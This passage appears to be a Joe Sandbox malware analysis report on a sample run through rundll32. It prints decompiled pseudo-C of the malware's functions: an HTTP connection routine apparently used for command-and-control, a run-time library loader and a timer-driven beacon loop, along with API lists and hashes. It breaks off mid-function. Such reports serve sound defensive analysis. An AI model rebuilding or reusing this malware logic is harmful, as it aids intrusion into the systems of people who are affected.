                      • Part of subcall function 02C96675: lstrlen.KERNEL32(00000000,?,7491C740,02C93ECE,00000000,05429600), ref: 02C966A8
                      • Part of subcall function 02C96675: strcpy.NTDLL ref: 02C966BF
                      • Part of subcall function 02C96675: lstrcat.KERNEL32(00000000,00000000), ref: 02C966CA
                      • Part of subcall function 02C96675: StrTrimA.SHLWAPI(00000000,=,00000000,00000000,02C93ECE,?,7491C740,02C93ECE,00000000,05429600), ref: 02C966E7
                    • StrTrimA.SHLWAPI(00000000,02C99280,00000000,05429600), ref: 02C93EED
                      • Part of subcall function 02C97563: lstrlen.KERNEL32(05429BD0,00000000,00000000,00000000,02C93EF9,00000000), ref: 02C97573
                      • Part of subcall function 02C97563: lstrlen.KERNEL32(?), ref: 02C9757B
                      • Part of subcall function 02C97563: lstrcpy.KERNEL32(00000000,05429BD0), ref: 02C9758F
                      • Part of subcall function 02C97563: lstrcat.KERNEL32(00000000,?), ref: 02C9759A
                    • lstrcpy.KERNEL32(00000000,?), ref: 02C93F0C
                    • lstrcpy.KERNEL32(00000000,?), ref: 02C93F13
                    • lstrcat.KERNEL32(00000000,?), ref: 02C93F20
                    • lstrcat.KERNEL32(00000000,00000000), ref: 02C93F24
                      • Part of subcall function 02C921A6: WaitForSingleObject.KERNEL32(00000000,74CF81D0,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 02C92258
                    • HeapFree.KERNEL32(00000000,?,00000000,?,?), ref: 02C93F54
                    • HeapFree.KERNEL32(00000000,00000000,00000000), ref: 02C93F64
                    • RtlFreeHeap.NTDLL(00000000,00000000,00000000,05429600), ref: 02C93F72
                    • HeapFree.KERNEL32(00000000,?), ref: 02C93F83
                    • RtlFreeHeap.NTDLL(00000000,00000000), ref: 02C93F91
                    Memory Dump Source
                    • Source File: 00000005.00000002.637000855.0000000002C91000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C90000, based on PE: true
                    • Associated: 00000005.00000002.636978443.0000000002C90000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637050758.0000000002C99000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637067028.0000000002C9A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637085714.0000000002C9C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_5_2_2c90000_rundll32.jbxd
                    Similarity
                    • API ID: Heap$Freewsprintf$lstrcatlstrlen$lstrcpy$AllocateCountCriticalSectionTickTrim$EnterLeaveObjectSingleWaitstrcpy
                    • String ID:
                    • API String ID: 186568778-0
                    • Opcode ID: d64694255c77d8098546296f22d9e5b39ca60441d7f086d858d838bf4a5d850a
                    • Instruction ID: 716f998586c92a09cc4c0e937242d5436fefd6ab178ffebe9ab98fb1258de4d2
                    • Opcode Fuzzy Hash: d64694255c77d8098546296f22d9e5b39ca60441d7f086d858d838bf4a5d850a
                    • Instruction Fuzzy Hash: 02718E71940244AFCB21AB69EC4CF563BF9EB8D704B150B54F90AD3210D732DA25DBA5
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 02C97B83 Relevance: 19.6, APIs: 13, Instructions: 126networkstringCOMMON
                    Download Yara Rule

                    Control-flow Graph

                    C-Code - Quality: 92%
                    			E02C97B83(void* __eax, void* __ecx, long __esi, char* _a4) {
				void _v8;
				long _v12;
				void _v16;
				void* _t34;
				void* _t38;
				void* _t40;
				char* _t56;
				long _t57;
				void* _t58;
				intOrPtr _t59;
				long _t65;

				_t65 = __esi;
				_t58 = __ecx;
				_v16 = 0xea60;
				__imp__( *(__esi + 4));
				_v12 = __eax + __eax;
				_t56 = E02C933DC(__eax + __eax + 1);
				if(_t56 != 0) {
					if(InternetCanonicalizeUrlA( *(__esi + 4), _t56,  &_v12, 0) == 0) {
						E02C961DA(_t56);
					} else {
						E02C961DA( *(__esi + 4));
						 *(__esi + 4) = _t56;
					}
				}
				_t34 = InternetOpenA(_a4, 0, 0, 0, 0x10000000); // executed
				 *(_t65 + 0x10) = _t34;
				if(_t34 == 0 || InternetSetStatusCallback(_t34, E02C97B18) == 0xffffffff) {
					L15:
					return GetLastError();
				} else {
					ResetEvent( *(_t65 + 0x1c));
					_t38 = InternetConnectA( *(_t65 + 0x10),  *_t65, 0x50, 0, 0, 3, 0, _t65); // executed
					 *(_t65 + 0x14) = _t38;
					if(_t38 != 0 || GetLastError() == 0x3e5 && E02C916B2( *(_t65 + 0x1c), _t58, 0xea60) == 0) {
						_t59 =  *0x2c9a348; // 0x278d5a8
						_t15 = _t59 + 0x2c9b845; // 0x544547
						_v8 = 0x84404000;
						_t40 = HttpOpenRequestA( *(_t65 + 0x14), _t15,  *(_t65 + 4), 0, 0, 0, 0x84404000, _t65); // executed
						 *(_t65 + 0x18) = _t40;
						if(_t40 == 0) {
							goto L15;
						}
						_t57 = 4;
						_v12 = _t57;
						if(InternetQueryOptionA(_t40, 0x1f,  &_v8,  &_v12) != 0) {
							_v8 = _v8 | 0x00000100;
							InternetSetOptionA( *(_t65 + 0x18), 0x1f,  &_v8, _t57);
						}
						if(InternetSetOptionA( *(_t65 + 0x18), 6,  &_v16, _t57) == 0 || InternetSetOptionA( *(_t65 + 0x18), 5,  &_v16, _t57) == 0) {
							goto L15;
						} else {
							return 0;
						}
					} else {
						goto L15;
					}
				}
			}














                    0x02c97b83
                    0x02c97b83
                    0x02c97b8e
                    0x02c97b95
                    0x02c97b9d
                    0x02c97ba7
                    0x02c97bad
                    0x02c97bc0
                    0x02c97bd0
                    0x02c97bc2
                    0x02c97bc5
                    0x02c97bca
                    0x02c97bca
                    0x02c97bc0
                    0x02c97be0
                    0x02c97be6
                    0x02c97beb
                    0x02c97cd4
                    0x00000000
                    0x02c97c06
                    0x02c97c09
                    0x02c97c1c
                    0x02c97c22
                    0x02c97c27
                    0x02c97c4f
                    0x02c97c62
                    0x02c97c6c
                    0x02c97c6f
                    0x02c97c75
                    0x02c97c7a
                    0x00000000
                    0x00000000
                    0x02c97c7e
                    0x02c97c8a
                    0x02c97c9b
                    0x02c97c9d
                    0x02c97cae
                    0x02c97cae
                    0x02c97cbe
                    0x00000000
                    0x02c97cd0
                    0x00000000
                    0x02c97cd0
                    0x00000000
                    0x00000000
                    0x00000000
                    0x02c97c27

                    APIs
                    • lstrlen.KERNEL32(?,00000008,74CB4D40), ref: 02C97B95
                      • Part of subcall function 02C933DC: RtlAllocateHeap.NTDLL(00000000,00000000,02C962F6), ref: 02C933E8
                    • InternetCanonicalizeUrlA.WININET(?,00000000,00000000,00000000), ref: 02C97BB8
                    • InternetOpenA.WININET(00000000,00000000,00000000,00000000,10000000), ref: 02C97BE0
                    • InternetSetStatusCallback.WININET(00000000,02C97B18), ref: 02C97BF7
                    • ResetEvent.KERNEL32(?), ref: 02C97C09
                    • InternetConnectA.WININET(?,?,00000050,00000000,00000000,00000003,00000000,?), ref: 02C97C1C
                    • GetLastError.KERNEL32 ref: 02C97C29
                    • HttpOpenRequestA.WININET(?,00544547,?,00000000,00000000,00000000,84404000,?), ref: 02C97C6F
                    • InternetQueryOptionA.WININET(00000000,0000001F,00000000,00000000), ref: 02C97C8D
                    • InternetSetOptionA.WININET(?,0000001F,00000100,00000004), ref: 02C97CAE
                    • InternetSetOptionA.WININET(?,00000006,0000EA60,00000004), ref: 02C97CBA
                    • InternetSetOptionA.WININET(?,00000005,0000EA60,00000004), ref: 02C97CCA
                    • GetLastError.KERNEL32 ref: 02C97CD4
                      • Part of subcall function 02C961DA: RtlFreeHeap.NTDLL(00000000,00000000,02C96383,00000000,?,00000000,00000000), ref: 02C961E6
                    Memory Dump Source
                    • Source File: 00000005.00000002.637000855.0000000002C91000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C90000, based on PE: true
                    • Associated: 00000005.00000002.636978443.0000000002C90000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637050758.0000000002C99000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637067028.0000000002C9A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637085714.0000000002C9C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_5_2_2c90000_rundll32.jbxd
                    Similarity
                    • API ID: Internet$Option$ErrorHeapLastOpen$AllocateCallbackCanonicalizeConnectEventFreeHttpQueryRequestResetStatuslstrlen
                    • String ID:
                    • API String ID: 2290446683-0
                    • Opcode ID: 2ff385390d593c205301a979331fcbb50f7ad4640614ce339409ed2491d4cfb2
                    • Instruction ID: c3bc4fedb8d4a345c1ab65bcf58de84a8215e8b01b2f0d154a3b19f803a1c6e3
                    • Opcode Fuzzy Hash: 2ff385390d593c205301a979331fcbb50f7ad4640614ce339409ed2491d4cfb2
                    • Instruction Fuzzy Hash: DC416DB1940604BFEB319F65DD4CE5BBBBDEB89704B104A69F602D2190E7309658DB20
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 02C97FC5 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 209libraryCOMMON
                    Download Yara Rule

                    Control-flow Graph

                    • Executed
                    • Not Executed
                    control_flow_graph 65 2c97fc5-2c9802a 66 2c9804b-2c98075 65->66 67 2c9802c-2c98046 RaiseException 65->67 69 2c9807a-2c98086 66->69 70 2c98077 66->70 68 2c981fb-2c981ff 67->68 71 2c98099-2c9809b 69->71 72 2c98088-2c98093 69->72 70->69 73 2c980a1-2c980a8 71->73 74 2c98143-2c9814d 71->74 72->71 84 2c981de-2c981e5 72->84 75 2c980b8-2c980c5 LoadLibraryA 73->75 76 2c980aa-2c980b6 73->76 78 2c98159-2c9815b 74->78 79 2c9814f-2c98157 74->79 82 2c98108-2c98114 InterlockedExchange 75->82 83 2c980c7-2c980d7 GetLastError 75->83 76->75 76->82 80 2c981d9-2c981dc 78->80 81 2c9815d-2c98160 78->81 79->78 80->84 89 2c9818e-2c9819c GetProcAddress 81->89 90 2c98162-2c98165 81->90 93 2c9813c-2c9813d FreeLibrary 82->93 94 2c98116-2c9811a 82->94 91 2c980d9-2c980e5 83->91 92 2c980e7-2c98103 RaiseException 83->92 87 2c981f9 84->87 88 2c981e7-2c981f4 84->88 87->68 88->87 89->80 96 2c9819e-2c981ae GetLastError 89->96 90->89 95 2c98167-2c98172 90->95 91->82 91->92 92->68 93->74 94->74 97 2c9811c-2c98128 LocalAlloc 94->97 95->89 98 2c98174-2c9817a 95->98 100 2c981ba-2c981bc 96->100 101 2c981b0-2c981b8 96->101 97->74 102 2c9812a-2c9813a 97->102 98->89 103 2c9817c-2c9817f 98->103 100->80 104 2c981be-2c981d6 RaiseException 100->104 101->100 102->74 103->89 105 2c98181-2c9818c 103->105 104->80 105->80 105->89
                    C-Code - Quality: 51%
                    			E02C97FC5(long _a4, long _a8) {
				signed int _v8;
				intOrPtr _v16;
				LONG* _v28;
				long _v40;
				long _v44;
				long _v48;
				CHAR* _v52;
				long _v56;
				CHAR* _v60;
				long _v64;
				signed int* _v68;
				char _v72;
				signed int _t76;
				signed int _t80;
				signed int _t81;
				intOrPtr* _t82;
				intOrPtr* _t83;
				intOrPtr* _t85;
				intOrPtr* _t90;
				intOrPtr* _t95;
				intOrPtr* _t98;
				struct HINSTANCE__* _t99;
				void* _t102;
				intOrPtr* _t104;
				void* _t115;
				long _t116;
				void _t125;
				void* _t131;
				signed short _t133;
				struct HINSTANCE__* _t138;
				signed int* _t139;

				_t139 = _a4;
				_v28 = _t139[2] + 0x2c90000;
				_t115 = _t139[3] + 0x2c90000;
				_t131 = _t139[4] + 0x2c90000;
				_v8 = _t139[7];
				_v60 = _t139[1] + 0x2c90000;
				_v16 = _t139[5] + 0x2c90000;
				_v64 = _a8;
				_v72 = 0x24;
				_v68 = _t139;
				_v56 = 0;
				asm("stosd");
				_v48 = 0;
				_v44 = 0;
				_v40 = 0;
				if(( *_t139 & 0x00000001) == 0) {
					_a8 =  &_v72;
					RaiseException(0xc06d0057, 0, 1,  &_a8);
					return 0;
				}
				_t138 =  *_v28;
				_t76 = _a8 - _t115 >> 2 << 2;
				_t133 =  *(_t131 + _t76);
				_a4 = _t76;
				_t80 =  !(_t133 >> 0x1f) & 0x00000001;
				_v56 = _t80;
				_t81 = _t133 + 0x2c90002;
				if(_t80 == 0) {
					_t81 = _t133 & 0x0000ffff;
				}
				_v52 = _t81;
				_t82 =  *0x2c9a1c0; // 0x0
				_t116 = 0;
				if(_t82 == 0) {
					L6:
					if(_t138 != 0) {
						L18:
						_t83 =  *0x2c9a1c0; // 0x0
						_v48 = _t138;
						if(_t83 != 0) {
							_t116 =  *_t83(2,  &_v72);
						}
						if(_t116 != 0) {
							L32:
							 *_a8 = _t116;
							L33:
							_t85 =  *0x2c9a1c0; // 0x0
							if(_t85 != 0) {
								_v40 = _v40 & 0x00000000;
								_v48 = _t138;
								_v44 = _t116;
								 *_t85(5,  &_v72);
							}
							return _t116;
						} else {
							if(_t139[5] == _t116 || _t139[7] == _t116) {
								L27:
								_t116 = GetProcAddress(_t138, _v52);
								if(_t116 == 0) {
									_v40 = GetLastError();
									_t90 =  *0x2c9a1bc; // 0x0
									if(_t90 != 0) {
										_t116 =  *_t90(4,  &_v72);
									}
									if(_t116 == 0) {
										_a4 =  &_v72;
										RaiseException(0xc06d007f, _t116, 1,  &_a4);
										_t116 = _v44;
									}
								}
								goto L32;
							} else {
								_t95 =  *((intOrPtr*)(_t138 + 0x3c)) + _t138;
								if( *_t95 == 0x4550 &&  *((intOrPtr*)(_t95 + 8)) == _v8 && _t138 ==  *((intOrPtr*)(_t95 + 0x34))) {
									_t116 =  *(_a4 + _v16);
									if(_t116 != 0) {
										goto L32;
									}
								}
								goto L27;
							}
						}
					}
					_t98 =  *0x2c9a1c0; // 0x0
					if(_t98 == 0) {
						L9:
						_t99 = LoadLibraryA(_v60); // executed
						_t138 = _t99;
						if(_t138 != 0) {
							L13:
							if(InterlockedExchange(_v28, _t138) == _t138) {
								FreeLibrary(_t138);
							} else {
								if(_t139[6] != 0) {
									_t102 = LocalAlloc(0x40, 8);
									if(_t102 != 0) {
										 *(_t102 + 4) = _t139;
										_t125 =  *0x2c9a1b8; // 0x0
										 *_t102 = _t125;
										 *0x2c9a1b8 = _t102;
									}
								}
							}
							goto L18;
						}
						_v40 = GetLastError();
						_t104 =  *0x2c9a1bc; // 0x0
						if(_t104 == 0) {
							L12:
							_a8 =  &_v72;
							RaiseException(0xc06d007e, 0, 1,  &_a8);
							return _v44;
						}
						_t138 =  *_t104(3,  &_v72);
						if(_t138 != 0) {
							goto L13;
						}
						goto L12;
					}
					_t138 =  *_t98(1,  &_v72);
					if(_t138 != 0) {
						goto L13;
					}
					goto L9;
				}
				_t116 =  *_t82(0,  &_v72);
				if(_t116 != 0) {
					goto L33;
				}
				goto L6;
			}


































                    0x02c97fd4
                    0x02c97fea
                    0x02c97ff0
                    0x02c97ff2
                    0x02c97ff7
                    0x02c97ffd
                    0x02c98002
                    0x02c98005
                    0x02c98013
                    0x02c9801a
                    0x02c9801d
                    0x02c98020
                    0x02c98021
                    0x02c98024
                    0x02c98027
                    0x02c9802a
                    0x02c9802f
                    0x02c9803e
                    0x00000000
                    0x02c98044
                    0x02c9804e
                    0x02c98058
                    0x02c9805d
                    0x02c9805f
                    0x02c98069
                    0x02c9806c
                    0x02c9806f
                    0x02c98075
                    0x02c98077
                    0x02c98077
                    0x02c9807a
                    0x02c9807d
                    0x02c98082
                    0x02c98086
                    0x02c98099
                    0x02c9809b
                    0x02c98143
                    0x02c98143
                    0x02c9814a
                    0x02c9814d
                    0x02c98157
                    0x02c98157
                    0x02c9815b
                    0x02c981d9
                    0x02c981dc
                    0x02c981de
                    0x02c981de
                    0x02c981e5
                    0x02c981e7
                    0x02c981f1
                    0x02c981f4
                    0x02c981f7
                    0x02c981f7
                    0x00000000
                    0x02c9815d
                    0x02c98160
                    0x02c9818e
                    0x02c98198
                    0x02c9819c
                    0x02c981a4
                    0x02c981a7
                    0x02c981ae
                    0x02c981b8
                    0x02c981b8
                    0x02c981bc
                    0x02c981c1
                    0x02c981d0
                    0x02c981d6
                    0x02c981d6
                    0x02c981bc
                    0x00000000
                    0x02c98167
                    0x02c9816a
                    0x02c98172
                    0x02c98187
                    0x02c9818c
                    0x00000000
                    0x00000000
                    0x02c9818c
                    0x00000000
                    0x02c98172
                    0x02c98160
                    0x02c9815b
                    0x02c980a1
                    0x02c980a8
                    0x02c980b8
                    0x02c980bb
                    0x02c980c1
                    0x02c980c5
                    0x02c98108
                    0x02c98114
                    0x02c9813d
                    0x02c98116
                    0x02c9811a
                    0x02c98120
                    0x02c98128
                    0x02c9812a
                    0x02c9812d
                    0x02c98133
                    0x02c98135
                    0x02c98135
                    0x02c98128
                    0x02c9811a
                    0x00000000
                    0x02c98114
                    0x02c980cd
                    0x02c980d0
                    0x02c980d7
                    0x02c980e7
                    0x02c980ea
                    0x02c980fa
                    0x00000000
                    0x02c98100
                    0x02c980e1
                    0x02c980e5
                    0x00000000
                    0x00000000
                    0x00000000
                    0x02c980e5
                    0x02c980b2
                    0x02c980b6
                    0x00000000
                    0x00000000
                    0x00000000
                    0x02c980b6
                    0x02c9808f
                    0x02c98093
                    0x00000000
                    0x00000000
                    0x00000000

                    APIs
                    • RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 02C9803E
                    • LoadLibraryA.KERNEL32(?), ref: 02C980BB
                    • GetLastError.KERNEL32 ref: 02C980C7
                    • RaiseException.KERNEL32(C06D007E,00000000,00000001,?), ref: 02C980FA
                    Strings
                    Memory Dump Source
                    • Source File: 00000005.00000002.637000855.0000000002C91000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C90000, based on PE: true
                    • Associated: 00000005.00000002.636978443.0000000002C90000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637050758.0000000002C99000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637067028.0000000002C9A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637085714.0000000002C9C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_5_2_2c90000_rundll32.jbxd
                    Similarity
                    • API ID: ExceptionRaise$ErrorLastLibraryLoad
                    • String ID: $
                    • API String ID: 948315288-3993045852
                    • Opcode ID: 88639484c6b7625294e39371e0487efeb77bd115d64547b49d238f5d8c5dfc8f
                    • Instruction ID: a6fc31d2cf51f584bf7676f3e83daef9bcc10ff7b72e2da5f3c2407ea1a5056a
                    • Opcode Fuzzy Hash: 88639484c6b7625294e39371e0487efeb77bd115d64547b49d238f5d8c5dfc8f
                    • Instruction Fuzzy Hash: B581F771A40205AFDF10CFA9DC89BAEB7F5BB89310F148629E915E7240EB70EA55CF50
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 02C96815 Relevance: 16.7, APIs: 11, Instructions: 151timememoryCOMMON
                    Download Yara Rule

                    Control-flow Graph

                    • Executed
                    • Not Executed
                    control_flow_graph 183 2c96815-2c96847 memset CreateWaitableTimerA 184 2c969c8-2c969ce GetLastError 183->184 185 2c9684d-2c968a6 _allmul SetWaitableTimer WaitForMultipleObjects 183->185 186 2c969d2-2c969dc 184->186 187 2c968ac-2c968af 185->187 188 2c96930-2c96936 185->188 189 2c968ba 187->189 190 2c968b1 call 2c95251 187->190 191 2c96937-2c9693b 188->191 195 2c968c4 189->195 196 2c968b6-2c968b8 190->196 193 2c9694b-2c9694f 191->193 194 2c9693d-2c96945 HeapFree 191->194 193->191 197 2c96951-2c9695b CloseHandle 193->197 194->193 198 2c968c8-2c968cd 195->198 196->189 196->195 197->186 199 2c968cf-2c968d6 198->199 200 2c968e0-2c9690d call 2c935d2 198->200 199->200 201 2c968d8 199->201 204 2c9695d-2c96962 200->204 205 2c9690f-2c9691a 200->205 201->200 207 2c96981-2c96989 204->207 208 2c96964-2c9696a 204->208 205->198 206 2c9691c-2c9692c call 2c969e6 205->206 206->188 210 2c9698f-2c969bd _allmul SetWaitableTimer WaitForMultipleObjects 207->210 208->188 209 2c9696c-2c9697f call 2c963f6 208->209 209->210 210->198 213 2c969c3 210->213 213->188
                    C-Code - Quality: 83%
                    			E02C96815(void* __edx, intOrPtr _a4, intOrPtr _a8) {
				void _v48;
				long _v52;
				struct %anon52 _v60;
				char _v72;
				long _v76;
				void* _v80;
				union _LARGE_INTEGER _v84;
				struct %anon52 _v92;
				void* _v96;
				void* _v100;
				union _LARGE_INTEGER _v104;
				long _v108;
				struct %anon52 _v124;
				long _v128;
				struct %anon52 _t46;
				void* _t51;
				long _t53;
				void* _t54;
				struct %anon52 _t61;
				long _t65;
				struct %anon52 _t66;
				void* _t69;
				void* _t73;
				signed int _t74;
				void* _t76;
				void* _t78;
				void** _t82;
				signed int _t86;
				void* _t89;

				_t76 = __edx;
				_v52 = 0;
				memset( &_v48, 0, 0x2c);
				_t89 = (_t86 & 0xfffffff8) - 0x54 + 0xc;
				_t46 = CreateWaitableTimerA(0, 1, 0);
				_v60 = _t46;
				if(_t46 == 0) {
					_v92.HighPart = GetLastError();
				} else {
					_push(0xffffffff);
					_push(0xff676980);
					_push(0);
					_push( *0x2c9a2e0);
					_v76 = 0;
					_v80 = 0;
					L02C982DA();
					_v84.LowPart = _t46;
					_v80 = _t76;
					SetWaitableTimer(_v76,  &_v84, 0, 0, 0, 0);
					_t51 =  *0x2c9a30c; // 0x2c0
					_v76 = _t51;
					_t53 = WaitForMultipleObjects(2,  &_v80, 0, 0xffffffff);
					_v108 = _t53;
					if(_t53 == 0) {
						if(_a8 != 0) {
							L4:
							 *0x2c9a2ec = 5;
						} else {
							_t69 = E02C95251(_t76); // executed
							if(_t69 != 0) {
								goto L4;
							}
						}
						_v104.LowPart = 0;
						L6:
						L6:
						if(_v104.LowPart == 1 && ( *0x2c9a300 & 0x00000001) == 0) {
							_v104.LowPart = 2;
						}
						_t74 = _v104.LowPart;
						_t58 = _t74 << 4;
						_t78 = _t89 + (_t74 << 4) + 0x38;
						_t75 = _t74 + 1;
						_v92.LowPart = _t74 + 1;
						_t61 = E02C935D2( &_v96, _t75, _t89 + _t58 + 0x38, _t78,  &_v100); // executed
						_v124 = _t61;
						if(_t61 != 0) {
							goto L17;
						}
						_t66 = _v92;
						_v104.LowPart = _t66;
						if(_t66 != 3) {
							goto L6;
						} else {
							_v124.HighPart = E02C969E6(_t75,  &_v72, _a4, _a8);
						}
						goto L12;
						L17:
						__eflags = _t61 - 0x10d2;
						if(_t61 != 0x10d2) {
							_push(0xffffffff);
							_push(0xff676980);
							_push(0);
							_push( *0x2c9a2e4);
							goto L21;
						} else {
							__eflags =  *0x2c9a2e8; // 0x0
							if(__eflags == 0) {
								goto L12;
							} else {
								_t61 = E02C963F6();
								_push(0xffffffff);
								_push(0xdc3cba00);
								_push(0);
								_push( *0x2c9a2e8);
								L21:
								L02C982DA();
								_v104.LowPart = _t61;
								_v100 = _t78;
								SetWaitableTimer(_v96,  &_v104, 0, 0, 0, 0); // executed
								_t65 = WaitForMultipleObjects(2,  &_v100, 0, 0xffffffff);
								_v128 = _t65;
								__eflags = _t65;
								if(_t65 == 0) {
									goto L6;
								} else {
									goto L12;
								}
							}
						}
						L25:
					}
					L12:
					_t82 =  &_v72;
					_t73 = 3;
					do {
						_t54 =  *_t82;
						if(_t54 != 0) {
							HeapFree( *0x2c9a2d8, 0, _t54);
						}
						_t82 =  &(_t82[4]);
						_t73 = _t73 - 1;
					} while (_t73 != 0);
					CloseHandle(_v80);
				}
				return _v92.HighPart;
				goto L25;
			}
































                    0x02c96815
                    0x02c9682b
                    0x02c9682f
                    0x02c96834
                    0x02c9683b
                    0x02c96841
                    0x02c96847
                    0x02c969ce
                    0x02c9684d
                    0x02c9684d
                    0x02c9684f
                    0x02c96854
                    0x02c96855
                    0x02c9685b
                    0x02c9685f
                    0x02c96863
                    0x02c96871
                    0x02c9687f
                    0x02c96883
                    0x02c96885
                    0x02c96892
                    0x02c9689e
                    0x02c968a0
                    0x02c968a6
                    0x02c968af
                    0x02c968ba
                    0x02c968ba
                    0x02c968b1
                    0x02c968b1
                    0x02c968b8
                    0x00000000
                    0x00000000
                    0x02c968b8
                    0x02c968c4
                    0x00000000
                    0x02c968c8
                    0x02c968cd
                    0x02c968d8
                    0x02c968d8
                    0x02c968e0
                    0x02c968e6
                    0x02c968ee
                    0x02c968f7
                    0x02c968fe
                    0x02c96902
                    0x02c96907
                    0x02c9690d
                    0x00000000
                    0x00000000
                    0x02c9690f
                    0x02c96913
                    0x02c9691a
                    0x00000000
                    0x02c9691c
                    0x02c9692c
                    0x02c9692c
                    0x00000000
                    0x02c9695d
                    0x02c9695d
                    0x02c96962
                    0x02c96981
                    0x02c96983
                    0x02c96988
                    0x02c96989
                    0x00000000
                    0x02c96964
                    0x02c96964
                    0x02c9696a
                    0x00000000
                    0x02c9696c
                    0x02c9696c
                    0x02c96971
                    0x02c96973
                    0x02c96978
                    0x02c96979
                    0x02c9698f
                    0x02c9698f
                    0x02c96997
                    0x02c969a5
                    0x02c969a9
                    0x02c969b5
                    0x02c969b7
                    0x02c969bb
                    0x02c969bd
                    0x00000000
                    0x02c969c3
                    0x00000000
                    0x02c969c3
                    0x02c969bd
                    0x02c9696a
                    0x00000000
                    0x02c96962
                    0x02c96930
                    0x02c96932
                    0x02c96936
                    0x02c96937
                    0x02c96937
                    0x02c9693b
                    0x02c96945
                    0x02c96945
                    0x02c9694b
                    0x02c9694e
                    0x02c9694e
                    0x02c96955
                    0x02c96955
                    0x02c969dc
                    0x00000000

                    APIs
                    • memset.NTDLL ref: 02C9682F
                    • CreateWaitableTimerA.KERNEL32(00000000,00000001,00000000), ref: 02C9683B
                    • _allmul.NTDLL(00000000,FF676980,000000FF), ref: 02C96863
                    • SetWaitableTimer.KERNEL32(?,?,00000000,00000000,00000000,00000000), ref: 02C96883
                    • WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF,?,?,?,?,?,?,?,?,?,?,02C926E9,?), ref: 02C9689E
                    • HeapFree.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,?,02C926E9,?,00000000), ref: 02C96945
                    • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,02C926E9,?,00000000,?,?), ref: 02C96955
                    • _allmul.NTDLL(00000000,FF676980,000000FF,00000002), ref: 02C9698F
                    • SetWaitableTimer.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,FF676980,000000FF,00000002,?,?,?), ref: 02C969A9
                    • WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF), ref: 02C969B5
                      • Part of subcall function 02C95251: StrToIntExW.SHLWAPI(?,00000000,?,?,004F0053,05429218,00000000,?,74D0F710,00000000,74D0F730), ref: 02C952A0
                      • Part of subcall function 02C95251: HeapFree.KERNEL32(00000000,00000000,?,80000001,00000000,00680043,05429160,?,00000000,30314549,00000014,004F0053,05429270), ref: 02C9533D
                      • Part of subcall function 02C95251: HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,02C968B6), ref: 02C9534F
                    • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,02C926E9,?,00000000,?,?), ref: 02C969C8
                    Memory Dump Source
                    • Source File: 00000005.00000002.637000855.0000000002C91000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C90000, based on PE: true
                    • Associated: 00000005.00000002.636978443.0000000002C90000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637050758.0000000002C99000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637067028.0000000002C9A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637085714.0000000002C9C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_5_2_2c90000_rundll32.jbxd
                    Similarity
                    • API ID: FreeHeapTimerWaitable$MultipleObjectsWait_allmul$CloseCreateErrorHandleLastmemset
                    • String ID:
                    • API String ID: 3521023985-0
                    • Opcode ID: 3faa3bcb647e555415399b0aefdfe7525d0ee52079a2690dc74aa67c16b334b8
                    • Instruction ID: 33a3512b2e588e57236fb92912d4d67ef13aa3f82bc010e5bbc4596c2e54a5fa
                    • Opcode Fuzzy Hash: 3faa3bcb647e555415399b0aefdfe7525d0ee52079a2690dc74aa67c16b334b8
                    • Instruction Fuzzy Hash: ED516F71409320AFDB11AF15DC48EABBBECEF89364F204A1AF4A992190D771C654CF96
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 02C81598 Relevance: 13.6, APIs: 9, Instructions: 81filetimeCOMMON
                    Download Yara Rule

                    Control-flow Graph

                    • Executed
                    • Not Executed
                    control_flow_graph 216 2c81598-2c815ef GetSystemTimeAsFileTime _aulldiv _snwprintf 217 2c815f1 216->217 218 2c815f6-2c8160f CreateFileMappingW 216->218 217->218 219 2c81659-2c8165f GetLastError 218->219 220 2c81611-2c8161a 218->220 223 2c81661-2c81667 219->223 221 2c8162a-2c81638 MapViewOfFile 220->221 222 2c8161c-2c81623 GetLastError 220->222 225 2c81648-2c8164e GetLastError 221->225 226 2c8163a-2c81646 221->226 222->221 224 2c81625-2c81628 222->224 227 2c81650-2c81657 CloseHandle 224->227 225->223 225->227 226->223 227->223
                    C-Code - Quality: 69%
                    			E02C81598(intOrPtr __edx, long _a4, void** _a8, void** _a12) {
				intOrPtr _v12;
				struct _FILETIME* _v16;
				short _v60;
				struct _FILETIME* _t14;
				intOrPtr _t15;
				long _t18;
				void* _t19;
